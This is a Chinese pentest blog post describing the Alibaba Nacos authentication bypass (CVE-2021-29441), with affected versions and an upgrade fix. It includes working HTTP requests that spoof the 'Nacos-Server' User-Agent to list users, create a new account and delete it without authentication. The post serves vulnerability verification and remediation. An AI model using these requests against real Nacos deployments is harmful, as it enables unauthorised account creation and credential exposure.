Alibaba Nacos 权限认证绕过漏洞(CVE-2021-29441)


前言

持续更新:整理下渗透测试工作中发现过的漏洞(包含漏洞描述、漏洞等级、漏洞验证、修复建议),这里不深究漏洞产生的各种后利用或者绕过方式,漏洞验证过程不局限于文章中的方法,能够证明漏洞存在即可。

0x01 漏洞描述

- Alibaba Nacos 权限认证绕过漏洞(CVE-2021-29441) -

Alibaba Nacos是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。

该漏洞发生在Nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

  • 影响版本: Alibaba Nacos <= 2.0.0-ALPHA.1

0x02 漏洞等级

威胁级别 高危 中危 低危

0x03 漏洞验证

访问Nacos系统界面,使用BurpSuite工具抓取数据包。

修改请求包中的User-Agent的值为Nacos-Server,再访问/nacos/v1/auth/users?pageNo=1&pageSize=9可以获取已有的用户列表。

GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: www.luckysec.cn:8848
User-Agent: Nacos-Server

使用POST方式访问/nacos/v1/auth/users新建一个新账号luckysec

POST /nacos/v1/auth/users HTTP/1.1
Host: www.luckysec.cn:8848
User-Agent: Nacos-Server
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

username=luckysec&password=123456

返回登录界面,使用新建的账号登录成功。

漏洞验证完成后,可以访问/nacos/v1/auth/users?username=luckysec,将HTTP方法改为DELETE,即可未授权删除刚刚创建的账号luckysec。

DELETE /nacos/v1/auth/users?username=luckysec HTTP/1.1
Host: www.luckysec.cn:8848
User-Agent: Nacos-Server

0x04 漏洞修复

  1. 升级Nacos版本至最新版本。

文章作者: LuckySec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
评论
 上一篇
Swagger未授权访问漏洞 Swagger未授权访问漏洞
Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。相关的方法,参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。Swagger-UI会根据开发人员在代码中的设置来自动生成API说明文档,若存在相关的配置缺陷,攻击者可以未授权翻查Swagger接口文档,得到系统功能API接口的详细参数,再构造参数发包,通过回显获取系统大量的敏感信息。
2022-10-22
下一篇 
Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088) Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)
ActiveMQ是Apache软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。fileserver是一个RESTful API接口,可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷。ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。
2022-10-20
  目录